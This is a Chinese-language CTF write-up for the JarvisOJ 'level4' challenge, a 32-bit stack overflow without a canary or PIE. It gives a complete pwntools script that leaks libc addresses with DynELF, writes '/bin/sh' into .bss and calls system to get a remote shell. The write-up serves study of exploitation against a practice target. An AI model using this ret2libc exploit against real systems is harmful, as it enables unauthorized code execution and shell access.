大年初一浅浅地学了个leak?
pwntool-DynELF
详见官方文档咯~
root@kali:~/Desktop/Pwn/level4# checksec level4
[*] '/root/Desktop/Pwn/level4/level4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
没有canary没有地址随机化而且栈不可执行,当然是来一发愉快的栈溢出(后来证明不止一发233333)
0x02 exp logic
扔进IDA,看伪代码(该elf中没有system没有bin/sh甚至连libc也没有)
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
return read(0, &buf, 0x100u);
}
这可咋整啊?当然是leak啦(其实就是换一种方法获取system的真实地址)然后再想着法子把/bin/sh给写到bss或者data里(为什么不写到栈里呢?应该是因为退出vulnerable_function之后它所在的栈就被销毁了,此时system就无法执行'/bin/sh'了Orz)
先上脚本
from pwn import *
r=remote('pwn2.jarvisoj.com',9880)
elf=ELF('./level4')
plt_write=elf.plt['write']
plt_read=elf.plt['read']
#true_address?
vuladr=elf.symbols['vulnerable_function']
bssadr=elf.symbols['__bss_start']
#elf.bss() elf.symbols['__data_start'] also can be used
def leak(address):
payload1='A'*(0x88+0x4)+p32(plt_write)+p32(vuladr)+p32(0x1)+p32(address)+p32(0x4)
r.send(payload1)
leak_address=r.recv(4)
return leak_address
#leak critical functions' addresses
d=DynELF(leak,elf=ELF('./level4'))
sysadr=d.lookup('system','libc')
xitadr=d.lookup('exit','libc')
#read '/bin/sh' in bss segment
payload2='A'*(0x88+0x4)+p32(plt_read)+p32(vuladr)+p32(0x0)+p32(bssadr)+p32(0x8)
r.send(payload2)
r.send('/bin/sh\x00')
#pwn it!
payload3='A'*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bssadr)
r.send(payload3)
r.interactive()
这里有几点要注意,比如给write和read传参,首先得确定各个参数都得传些什么值,比如write和read的args列表都是(文件描述符,指向的缓冲区,写入内容大小);还有,比如我给read传参之后,指定了缓冲区地址,接下来就只需要再次send达到在bss段首输入'/bin/sh'的效果(切记!不能忘记截断符'\x00')
成功pwn下来之后又去看了看其他wp,发现还有大师傅用了ROPgadgets,码下来码下来
某位大师傅用ROPgadgets的例子
开源的ROPgadgets